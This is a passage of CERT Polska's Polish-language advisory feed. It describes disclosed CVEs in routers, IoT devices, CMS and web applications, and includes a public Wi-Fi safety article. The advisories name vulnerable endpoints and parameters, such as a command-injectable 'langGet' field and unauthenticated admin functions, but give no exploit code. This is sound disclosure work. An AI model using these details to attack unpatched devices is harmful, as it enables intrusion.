&lt;p&gt;Za zgłoszenie podatności dziękujemy Janowi Barszczowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu routera WODESYS WD-R608U</title><link href="https://cert.pl/posts/2025/12/CVE-2025-65007/" rel="alternate"></link><published>2025-12-18T13:55:00+01:00</published><updated>2025-12-18T13:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-12-18:/posts/2025/12/CVE-2025-65007/</id><summary type="html">W oprogramowaniu routera WODESYS WD-R608U wykryto 5 podatności różnego typu (od CVE-2025-65007 do CVE-2025-65011)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu routera WODESYS WD-R608U i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-65007"&gt;CVE-2025-65007&lt;/a&gt;: W routerze WD-R608U (znanym również pod nazwą WDR122B V2.0 i WDR28) z powodu braku uwierzytelniania w module zmiany konfiguracji w endpoincie 'adm.cgi', nieuwierzytelniony atakujący może wykonać polecenia, w tym tworzenie kopii zapasowych, restart urządzenia oraz przywracanie urządzenia do ustawień fabrycznych.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-65008"&gt;CVE-2025-65008&lt;/a&gt;: W routerze WD-R608U (znanym również pod nazwą WDR122B V2.0 i WDR28) z powodu braku walidacji parametru 'langGet' w endpoincie 'adm.cgi', atakujący może wykonywać polecenia powłoki systemowej.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-65009"&gt;CVE-2025-65009&lt;/a&gt;: W routerze WD-R608U (znanym również pod nazwą WDR122B V2.0 i WDR28) hasło administratora jest przechowywane w pliku konfiguracyjnym w postaci zwykłego tekstu i może zostać uzyskane przez nieautoryzowanego użytkownika poprzez bezpośrednie odwołania do odpowiedniego zasobu.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-65010"&gt;CVE-2025-65010&lt;/a&gt;: W routerze WD-R608U (znanym również pod nazwą WDR122B V2.0 i WDR28) atakujący może zmienić hasło do panelu administratora bez autoryzacji. Podatność może być również wykorzystana po zakończeniu wstępnej konfiguracji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-65011"&gt;CVE-2025-65011&lt;/a&gt;: W routerze WD-R608U (znanym również pod nazwą WDR122B V2.0 i WDR28) nieautoryzowany użytkownik może przeglądać pliki konfiguracyjne poprzez bezpośrednie odwołanie do odpowiedniego zasobu.&lt;/p&gt;
&lt;p&gt;Producent został wcześnie poinformowany o tej podatności, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatność jedynie w wersji WDR28081123OV1.01 — inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Wojciechowi Cybowskiemu.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu urządzeń Govee z łącznością sieciową</title><link href="https://cert.pl/posts/2025/12/CVE-2025-10910/" rel="alternate"></link><published>2025-12-18T11:55:00+01:00</published><updated>2025-12-18T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-12-18:/posts/2025/12/CVE-2025-10910/</id><summary type="html">W oprogramowaniu urządzeń Govee z łącznością sieciową wykryto podatność umożliwiającą przejęcie sterowania nad cudzymi urządzeniami (CVE-2025-10910).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu urządzeń Govee i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-10910"&gt;CVE-2025-10910&lt;/a&gt;: Podatność w procesie dodawania urządzeń do konta w chmurze Govee umożliwia zdalnemu atakującemu powiązanie istniejącego, podłączonego do Internetu urządzenia Govee z kontem atakującego, co skutkuje pełnym przejęciem kontroli nad urządzeniem oraz usunięciem go z konta jego prawowitego właściciela.&lt;br&gt;
Interfejs API odpowiedzialny za powiązanie urządzenia po stronie serwera akceptuje zestaw identyfikatorów: &lt;code&gt;device&lt;/code&gt;, &lt;code&gt;sku&lt;/code&gt;, &lt;code&gt;type&lt;/code&gt; oraz pole &lt;code&gt;value&lt;/code&gt;, które jest obliczane po stronie klienta i nie jest kryptograficznie powiązane z żadnym sekretem pochodzącym bezpośrednio z urządzenia.&lt;/p&gt;
&lt;p&gt;Podatność została potwierdzona na urządzeniu Govee H6056 (lampa) w wersji oprogramowania 1.08.13, jednak może dotyczyć również innych urządzeń Govee komunikujących się z chmurą. Producent weryfikuje inne potencjalnie zagrożone modele urządzeń.&lt;/p&gt;
&lt;p&gt;Producent wdrożył poprawki zabezpieczeń po stronie serwera i automatyczne aktualizacje oprogramowania dla modelu H6056. Większość urządzeń H6056 została automatycznie zaktualizowana. Pozostali użytkownicy urządzeń H6056 muszą ręcznie zaktualizować oprogramowanie za pomocą aplikacji Govee Home, utrzymując połączenie z internetem. Użytkownicy powinni otworzyć aplikację Govee Home, dotknąć karty urządzenia H6056, aby przejść na stronę szczegółów urządzenia, dotknąć ikony ustawień w prawym górnym rogu, przejść do sekcji "Informacje o urządzeniu" (wersja oprogramowania) i dotknąć przycisku "Aktualizuj", aby natychmiast zainstalować poprawkę zabezpieczeń.&lt;/p&gt;
&lt;p&gt;Produkty Govee H6056 z wersjami urządzeń 1.00.10 lub 1.00.11 nie mogą otrzymać aktualizacji oprogramowania z powodu ograniczeń sprzętowych.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Janowi Adamskiemu i Markowi Janiszewskiemu z Zakładu Cyberbezpieczeństwa NASK - PIB.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu WaveStore Server</title><link href="https://cert.pl/posts/2025/12/CVE-2025-65074/" rel="alternate"></link><published>2025-12-16T11:55:00+01:00</published><updated>2025-12-16T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-12-16:/posts/2025/12/CVE-2025-65074/</id><summary type="html">W oprogramowaniu WaveStore Server wykryto 3 podatności typu Path Traversal (od CVE-2025-65074 do CVE-2025-65076)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu WaveStore Server i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-65074"&gt;CVE-2025-65074&lt;/a&gt;: Klient WaveView umożliwia użytkownikom wykonywanie ograniczonego zestawu predefiniowanych poleceń i skryptów na podłączonym serwerze WaveStore. Atakujący z wysokimi uprawnieniami może wykonać dowolne polecenia systemu operacyjnego na serwerze, wykorzystując podatność typu Path Traversal w skrypcie &lt;code&gt;showerr&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-65075"&gt;CVE-2025-65075&lt;/a&gt;: Klient WaveView umożliwia użytkownikom wykonywanie ograniczonego zestawu predefiniowanych poleceń i skryptów na podłączonym serwerze WaveStore. Atakujący z wysokimi uprawnieniami może odczytywać lub usuwać pliki z uprawnieniami użytkownika dvr na serwerze, wykorzystując podatność typu Path Traversal w skrypcie &lt;code&gt;alog&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-65076"&gt;CVE-2025-65076&lt;/a&gt;: Klient WaveView umożliwia użytkownikom wykonywanie ograniczonego zestawu predefiniowanych poleceń i skryptów na podłączonym serwerze WaveStore. Atakujący z wysokimi uprawnieniami może odczytywać lub usuwać dowolne pliki na serwerze, wykorzystując podatność typu Path Traversal w skrypcie &lt;code&gt;ilog&lt;/code&gt;. Ten skrypt jest uruchamiany z uprawnieniami administratora (root).&lt;/p&gt;
&lt;p&gt;Podatności zostały usunięte w wersji 6.44.44.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Julii Zduńczyk.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Publiczne sieci Wi-Fi – czy jest się czego bać?</title><link href="https://cert.pl/posts/2025/12/publiczne-sieci-wifi/" rel="alternate"></link><published>2025-12-13T15:00:00+01:00</published><updated>2025-12-13T15:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-12-13:/posts/2025/12/publiczne-sieci-wifi/</id><summary type="html">Jak to jest z tym publicznym Wi-Fi? W internecie wciąż możecie trafić na informacje, że korzystanie z takiej otwartej sieci w kawiarni, hotelu lub na lotnisku, to proszenie się o kłopoty, bo hakerzy mogą w ten sposób wykraść hasła i dane. I owszem tak BYŁO. Sprawdźmy dlaczego publiczne sieci nie niosą już dziś takich zagrożeń.</summary><content type="html">&lt;p&gt;&lt;strong&gt;Jak to jest z tym publicznym Wi-Fi? W internecie wciąż możecie trafić na informacje, że korzystanie z takiej otwartej sieci w kawiarni, hotelu lub na lotnisku, to proszenie się o kłopoty, bo hakerzy mogą w ten sposób wykraść hasła i dane. I owszem tak BYŁO. Dziś publiczne sieci nie niosą już takich zagrożeń, sprawdźmy dlaczego.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Każdy z nas był pewnie w sytuacji, gdy pilnie potrzebował dostępu do internetu poza domem. Pociąg, dworzec, restauracja – publiczne sieci Wi-Fi stały się niemal wszechobecne, oferując wygodę i stały kontakt ze światem. Tej wygodzie towarzyszy często jednak niepokój. Dzieje się tak, bo od lat słyszymy ostrzeżenia o rzekomych niebezpieczeństwach czyhających na użytkowników publicznych hotspotów. Wizje hakerów przechwytujących nasze hasła, dane bankowe czy prywatne wiadomości sprawiają, że wielu z nas podchodzi do publicznego Wi-Fi z dużą rezerwą, a nawet strachem. Zupełnie niepotrzebnie. &lt;/p&gt;
&lt;h3&gt;Dlaczego publiczne Wi-Fi ma złą prasę?&lt;/h3&gt;
&lt;p&gt;Choć obawy dotyczące publicznych sieci Wi-Fi są powszechne, współczesna technologia oferuje szereg zaawansowanych mechanizmów ochronnych. Zrozumienie jak działają jest ważne do obalenia tych cybermitów. &lt;/p&gt;
&lt;p&gt;HTTPS i TLS – to filary bezpieczeństwa w internecie. Protokół HTTPS (Hypertext Transfer Protocol Secure) to bezpieczna, szyfrowana wersja standardowego protokołu HTTP, która wykorzystuje technologię TLS (Transport Layer Security) do ochrony przesyłanych danych. Gdy łączymy się ze stroną internetową używającą HTTPS, co łatwo rozpoznać po prefiksie https:// oraz (w niektórych wypadkach) symbolu kłódki w pasku adresu przeglądarki, nasze urządzenie (komputer, smartfon) i serwer docelowej witryny nawiązują bezpieczne połączenie. Od tego momentu wszystkie dane przesyłane między naszym urządzeniem a serwerem – takie jak hasła, numery kart kredytowych, dane osobowe czy treść prywatnych wiadomości – są szyfrowane tym unikalnym kodem. 
To szyfrowanie działa niezależnie od tego, czy korzystamy z domowej sieci Wi-Fi, mobilnej transmisji danych, czy publicznego hotspotu w kawiarni. Nawet jeśli hipotetyczny atakujący zdołałby "podsłuchać" ruch sieciowy w&amp;nbsp;publicznej sieci Wi-Fi, w przypadku połączenia HTTPS zobaczyłby jedynie zaszyfrowany, bezużyteczny dla niego ciąg znaków. Treść naszej komunikacji pozostaje chroniona.&lt;/p&gt;
&lt;h3&gt;A co z podstawionymi przez hakerów sieciami restauracji czy hoteli?&lt;/h3&gt;
&lt;p&gt;Zagrożenia nie zniknęły całkowicie — cyberprzestępcy wciąż mogą tworzyć fałszywe sieci o wiarygodnie brzmiących nazwach. Nawet wtedy jednak HTTPS nadal chroni dane przesyłane do bezpiecznych witryn (np. bankowości internetowej). Główne ryzyko związane z fałszywym hotspotem polega na tym, że haker może próbować przekierować Was na fałszywe strony logowania (phishing) w celu wyłudzenia danych uwierzytelniających. Warto jednak w tym miejscu dodać, że na strony phishigowe możemy trafić także z bezpiecznej, domowej sieci. Dlatego tak ważne jest zweryfikowanie adresu strony, na której podajemy dane.&lt;/p&gt;
&lt;h3&gt;Jak to jest z tą kłódką?&lt;/h3&gt;
&lt;p&gt;Kłódka przy adresie i protokół https oznaczają, że dane przesyłane między nami a stroną są zaszyfrowane. Czyli nikt postronny nie może ich podejrzeć. Ale czy to znaczy, że możemy ufać każdej stronie z kłódką? Niekoniecznie.
W internecie każdy może stworzyć stronę, która do złudzenia przypomina tę, którą dobrze znamy. Może mieć identyczny wygląd, logo, kolory — wszystko. A jeśli damy się nabrać, nasze dane trafią w bezpieczny sposób… tyle że prosto do oszusta.
Dlatego najważniejsze jest jedno: zawsze sprawdzaj, jaka dokładnie domena widnieje w pasku adresu. To ona mówi nam, z kim naprawdę się łączymy — i nie da się jej podrobić.
Zwracamy Waszą uwagę na ten paradoks, bo narzędzie, które podnosi Wasze bezpieczeństwo podczas korzystania z sieci Wi-Fi może jednocześnie usypiać czujność w wypadku ataków phishingowych. Złota zasada brzmi zatem: ważny jest adres odwiedzanej strony, nie to czy znajduje się przy nim kłódka.&lt;/p&gt;
&lt;h3&gt;Jak bezpiecznie korzystać w publicznych Wi-Fi?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Wyłącz funkcję automatycznego łączenia.&lt;/li&gt;
&lt;li&gt;Pamiętaj, że na stronach używających wyłącznie HTTP dane nie są szyfrowane. Dlatego loguj się i przesyłaj dane wyłącznie na stronach, które mają HTTPS. &lt;/li&gt;
&lt;li&gt;Zwracaj uwagę na ostrzeżenia przeglądarki! &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mamy nadzieję, że ten tekst i zawarty w nim zestaw wskazówek rozwiał wątpliwości związane z korzystaniem z publicznych Wi-Fi. Podaj te informacje dalej, bo razem możemy zadbać o cyberprzestrzeń wolną od mitów i niesprawdzonych informacji i… bezpiecznie korzystać z Wi-Fi.&lt;/p&gt;</content><category term="News"></category><category term="informacja"></category><category term="zagrożenie"></category></entry><entry><title>Podatność w oprogramowaniu OpenSolution QuickCMS</title><link href="https://cert.pl/posts/2025/12/CVE-2025-12465/" rel="alternate"></link><published>2025-12-02T11:55:00+01:00</published><updated>2025-12-02T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-12-02:/posts/2025/12/CVE-2025-12465/</id><summary type="html">W oprogramowaniu OpenSolution QuickCMSwykryto podatność typu SQL Injection (CVE-2025-12465).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu OpenSolution QuickCMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-12465"&gt;CVE-2025-12465&lt;/a&gt;: Nieprawidłowa neutralizacja danych wejściowych dostarczonych przez użytkownika o wysokich uprawnieniach w funkcji &lt;code&gt;aFilesDelete&lt;/code&gt; umożliwia przeprowadzenie ataków typu Blind SQL Injection.&lt;/p&gt;
&lt;p&gt;Producent został wcześniej poinformowany o tej podatności, jednak nie udzielił informacji na temat szczegółów podatności ani zakresu wersji podatnych na atak. Przetestowano i potwierdzono podatność jedynie w wersji 6.8 - inne wersje nie były testowane i również mogą być podatne.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Arkadiuszowi Marcie.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Simple SA Wirtualna Uczelnia</title><link href="https://cert.pl/posts/2025/11/CVE-2025-12140/" rel="alternate"></link><published>2025-11-27T14:40:00+01:00</published><updated>2025-11-27T14:40:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-11-27:/posts/2025/11/CVE-2025-12140/</id><summary type="html">W oprogramowaniu Wirtualna Uczelnia wykryto podatność umożliwiającą zdalne wykonanie kodu przez atakującego (CVE-2025-12140).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Wirtualna Uczelnia i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-12140"&gt;CVE-2025-12140&lt;/a&gt;: Oprogramowanie nieprawidłowo przetwarza wartość parametru 'redirectUrlParameter' w endpoincie 'redirectToUrl'. Oprogramowanie interpretuje wprowadzony ciąg znaków jako wyrażenie Java, co umożliwia nieautoryzowanemu atakującemu wykonanie dowolnego kodu.
Podatność została usunięta w wersji wu#2016.1.5513#0#20251014_113353.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Marcinowi Resselowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu routerów SDMC NE6037</title><link href="https://cert.pl/posts/2025/11/CVE-2025-8890/" rel="alternate"></link><published>2025-11-27T14:30:00+01:00</published><updated>2025-11-27T14:30:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-11-27:/posts/2025/11/CVE-2025-8890/</id><summary type="html">W oprogramowaniu routerów SDMC NE6037 wykryto podatność pozwalającą na wstrzyknięcia komend powłoki (CVE-2025-8890).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu routerów SDMC NE6037 i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-8890"&gt;CVE-2025-8890&lt;/a&gt;: Routery SDMC NE6037 zawierają narzędzie diagnostyki sieci. W przypadku oprogramowania układowego w wersjach poniżej 7.1.12.2.44 narzędzie to jest podatne na ataki polegające na wstrzyknięciu poleceń powłoki.
Aby wykorzystać tę podatność, atakujący musi zalogować się do panelu administracyjnego routera, który domyślnie jest osiągalny jedynie przez porty LAN.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Grzegorzowi Bronce z firmy Securitum.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu SOPlanning</title><link href="https://cert.pl/posts/2025/11/CVE-2025-62293/" rel="alternate"></link><published>2025-11-20T11:55:00+01:00</published><updated>2025-11-20T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-11-20:/posts/2025/11/CVE-2025-62293/</id><summary type="html">W oprogramowaniu SOPlanning wykryto 8 podatności różnego typu (od CVE-2025-62293 do CVE-2025-62297 oraz od CVE-2025-62729 do CVE-2025-62731)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu SOPlanning i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-62293"&gt;CVE-2025-62293&lt;/a&gt;: SOPlanning z powodu braku kontroli uprawnień w funkcjonalności Project Status pozwala każdemu uwierzytelnionemu atakującemu dodawać, edytować i usuwać dowolne statusy poprzez endpoint &lt;code&gt;/status&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-62294"&gt;CVE-2025-62294&lt;/a&gt;: SOPlanning wykorzystuje słaby mechanizm generowania tokenów odzyskiwania hasła. Atakujący może przeprowadzić atak brute-force na wszystkie możliwe wartości i przejąć dowolne konto w rozsądnym czasie.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-62295"&gt;CVE-2025-62295&lt;/a&gt;: SOPlanning jest podatny na Stored XSS w endpoincie &lt;code&gt;/groupe_form&lt;/code&gt;. Atakujący z średnimi uprawnieniami może wstrzyknąć dowolny kod HTML i JS do witryny, który zostanie wyrenderowany/wykonany podczas otwierania edytora.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-62296"&gt;CVE-2025-62296&lt;/a&gt;: SOPlanning jest podatny na Stored XSS w endpoincie &lt;code&gt;/taches&lt;/code&gt;. Atakujący z średnimi uprawnieniami może wstrzyknąć dowolny kod HTML i JS do witryny, który zostanie wyrenderowany/wykonany podczas otwierania edytora.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-62297"&gt;CVE-2025-62297&lt;/a&gt;: SOPlanning jest podatny na Stored XSS w endpoincie &lt;code&gt;/projets&lt;/code&gt;. Atakujący z średnimi uprawnieniami może wstrzyknąć dowolny kod HTML i JS do witryny, który zostanie wyrenderowany/wykonany podczas otwierania dowolnej strony.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-62729"&gt;CVE-2025-62729&lt;/a&gt;: SOPlanning jest podatny na Stored XSS w endpoincie &lt;code&gt;/status&lt;/code&gt;. Atakujący z średnimi uprawnieniami może wstrzyknąć dowolny kod HTML i JS do witryny, który zostanie wyrenderowany/wykonany podczas otwierania wielu stron.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-62730"&gt;CVE-2025-62730&lt;/a&gt;: W SOPlanning użytkownicy z rolą &lt;code&gt;user_manage_team&lt;/code&gt; mogą modyfikować uprawnienia użytkowników. Są w stanie przypisać uprawnienia administracyjne dowolnemu użytkownikowi, w tym sobie. Pozwala to atakującemu z tą rolą na eskalację do uprawnień administratora. Problem dotyczy zarówno funkcjonalności masowej aktualizacji, jak i zwykłej edycji praw i uprawnień użytkownika.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-62731"&gt;CVE-2025-62731&lt;/a&gt;: SOPlanning jest podatny na Stored XSS w endpoincie &lt;code&gt;/feries&lt;/code&gt;. Atakujący z dostępem do funkcji Public Holidays może wstrzyknąć dowolny kod HTML i JS do witryny, który zostanie wyrenderowany/wykonany podczas otwierania wielu stron. Domyślnie tylko administratorzy i użytkownicy ze specjalnymi uprawnieniami mają dostęp do tego endpointu.&lt;/p&gt;
&lt;p&gt;Te podatności zostały usunięte w wersji 1.55.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Łukaszowi Jaworskiemu z Pentest Limited.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Times Software E-Payroll</title><link href="https://cert.pl/posts/2025/11/CVE-2025-9977/" rel="alternate"></link><published>2025-11-18T14:55:00+01:00</published><updated>2025-11-18T14:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-11-18:/posts/2025/11/CVE-2025-9977/</id><summary type="html">W oprogramowaniu Times Software E-Payroll wykryto nieprawidłowe neutralizowanie danych wejściowych skutkujące możliwością wykonania ataku DoS oraz (prawdopodobnie) SQL Injection (CVE-2025-9977).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Times Software E-Payroll i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-9977"&gt;CVE-2025-9977&lt;/a&gt;: Wartość przekazana w jednym z parametrów POST wysyłanych podczas procesu logowania do Times Software E-Payroll nie jest odpowiednio neutralizowana, co umożliwia nieautoryzowanemu atakującemu przeprowadzenie ataku typu DoS oraz, potencjalnie, ataków typu SQL Injection.
Dodatkowo, próby wstrzyknięcia komend powodują, że aplikacja zwraca obszerne komunikaty o błędach, ujawniające pewne informacje o wewnętrznej infrastrukturze.&lt;/p&gt;
&lt;p&gt;Status wdrożenia poprawek jest nieznany, ponieważ dostawca nie odpowiedział na nasze wiadomości.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Sebastianowi Jeżowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w oprogramowaniu Windu CMS</title><link href="https://cert.pl/posts/2025/11/CVE-2025-59110/" rel="alternate"></link><published>2025-11-18T11:55:00+01:00</published><updated>2025-11-18T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-11-18:/posts/2025/11/CVE-2025-59110/</id><summary type="html">W oprogramowaniu Windu CMS wykryto 8 podatności różnego typu (od CVE-2025-59110 do CVE-2025-59117)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;AKTUALIZACJA 5.12.2025: Po odpowiedzi producenta zmieniono zakres podatnych wersji.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu Windu CMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-59110"&gt;CVE-2025-59110&lt;/a&gt;: Windu CMS jest podatny na atak typu Cross-Site Request Forgery w funkcjonalności edycji użytkownika. Zaimplementowany mechanizm ochrony przed CSRF może zostać ominięty poprzez użycie tokenu CSRF innego użytkownika. Rejestracja jest otwarta i każdy może założyć konto.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-59111"&gt;CVE-2025-59111&lt;/a&gt;: Windu CMS niepoprawnie implementuje weryfikację uprawnień użytkowników w funkcjonalności edycji użytkownika. Atakujący posiadający uprawnienia administratora może wysłać żądanie GET, które umożliwia użytkownikom uprzywilejowanym usunięcie kont Super Administratorów, co nie jest możliwe przy użyciu interfejsu graficznego.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-59112"&gt;CVE-2025-59112&lt;/a&gt;: Windu CMS jest podatny na atak typu Cross-Site Request Forgery w funkcjonalności edycji użytkownika. Atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez administratora automatycznie wyśle żądanie typu POST usuwające wskazanego użytkownika.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-59113"&gt;CVE-2025-59113&lt;/a&gt;: Windu CMS implementuje słabe zabezpieczenie przed atakami typu brute-force po stronie klienta, wykorzystując parametr &lt;code&gt;loginError&lt;/code&gt;. Informacje o liczbie prób lub czasie blokady nie są przechowywane na serwerze, co umożliwia atakującemu obejście tego mechanizmu poprzez resetowanie wspomnianego parametru.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-59114"&gt;CVE-2025-59114&lt;/a&gt;: Windu CMS jest podatny na atak typu Cross-Site Request Forgery w funkcjonalności przesyłania plików. Atakujący może przygotować specjalną stronę internetową, która po odwiedzeniu przez ofiarę automatycznie wyśle złośliwy plik na serwer.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-59115"&gt;CVE-2025-59115&lt;/a&gt;: Windu CMS jest podatny na atak typu Stored Cross-Site Scripting na stronie logowania, gdzie dane wejściowe nie są odpowiednio sanityzowane. Atakujący może wstrzyknąć dowolny kod HTML i JavaScript do witryny, który zostanie wyrenderowany/wykonany podczas odwiedzania przez administratora strony z logami.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-59116"&gt;CVE-2025-59116&lt;/a&gt;: Windu CMS jest umożliwia atakującemu enumerację użytkowników. Problem występuje podczas procesu logowania, gdzie różnice w komunikatach mogą pozwolić atakującemu ustalić, czy podany login jest prawidłowy, co umożliwia przeprowadzenie ataku typu brute force z wykorzystaniem poprawnych loginów.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-59117"&gt;CVE-2025-59117&lt;/a&gt;: Windu CMS jest podatny na wiele podatności typu Stored Cross-Site Scripting w endpoincie edycji stron &lt;code&gt;/windu/admin/content/pages/edit&lt;/code&gt;. Podatność może zostać wykorzystana przez użytkownika uprzywilejowanego i stanowi zagrożenie dla użytkowników o wyższych uprawnieniach.&lt;/p&gt;
&lt;p&gt;Przetestowano i potwierdzono podatności jedynie w wersji 4.1.
Podatność została usunięta w wersji 4.1 build 2250.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
